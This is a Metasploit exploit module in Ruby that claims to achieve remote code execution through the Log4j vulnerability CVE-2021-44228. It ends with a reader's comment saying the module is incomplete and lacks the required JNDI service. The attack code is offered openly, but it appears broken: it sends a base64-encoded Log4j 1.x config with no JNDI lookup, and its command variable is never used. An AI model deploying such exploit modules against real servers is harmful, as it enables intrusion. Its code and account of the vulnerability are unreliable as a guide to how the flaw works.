Log4J Remote Code Execution Metasploit Module
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Log4j Vulnerability Exploit',
'Description' => %q{
This module exploits the Log4j vulnerability (CVE-2021-44228) by sending a specially crafted payload to a vulnerable server, which can result in remote code execution.
},
'Author' => [
'Author Name <vikramv475@gmail.com>'
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://github.com/apache/logging-log4j2/issues/513' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' => [
[ 'Log4j 2.x', {} ]
],
'Payload' => {
'BadChars' => "",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic java'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PAYLOAD' => 'cmd/generic_java'
}
))
register_options([
OptString.new('TARGETURI', [true, 'The URI path to the log4j vulnerable application', '/']),
OptString.new('PAYLOAD', [true, 'The payload to use', 'cmd/generic_java']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
if res && res.body =~ /log4j-core/
return CheckCode::Detected
else
return CheckCode::Safe
end
end
def exploit
print_status("Sending payload to #{rhost}:#{rport}#{target_uri.path}")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
'Content-Type' => 'application/json',
'Transfer-Encoding' => 'chunked'
},
'data' => generate_payload
})
end
def generate_payload
# Replace the command with the payload command
cmd = payload.encoded.gsub(/CMD/, payload_badchars)
# Base64-encode the command and create the JSON payload
payload_data = %Q(
{
"name": "com.example.myapp.Logger",
"config": "log4j.logger.com.example.myapp.Logger=DEBUG,CONSOLE\nlog4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender\nlog4j.appender.CONSOLE.target=System.err\nlog4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.CONSOLE.conversionPattern=%d [%t] %-5p %c - %m%n"
}
)
# Encode the payload with Base64
b64_payload_data = Rex::Text.encode_base64(payload_data)
# Generate the final payload
final_payload = %Q(
[
{
"request": {
"method": "POST",
"uri": "#{normalize_uri(target_uri.path)}",
"headers": {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Transfer-Encoding": "chunked"
},
"data": "#{b64_payload_data}"
},
"response": {}
}
]
)
return final_payload
end
'
I'm the author of the official module (primarily the underlying infra, big ups to for guidance on the Java madness to Michael Schierl), and unfortunately there's a bit more to it - need a service to handle the JNDI reflection and context-specific payload targeting for serde. 🙂 Is this in a PR somewhere? Happy to take a look.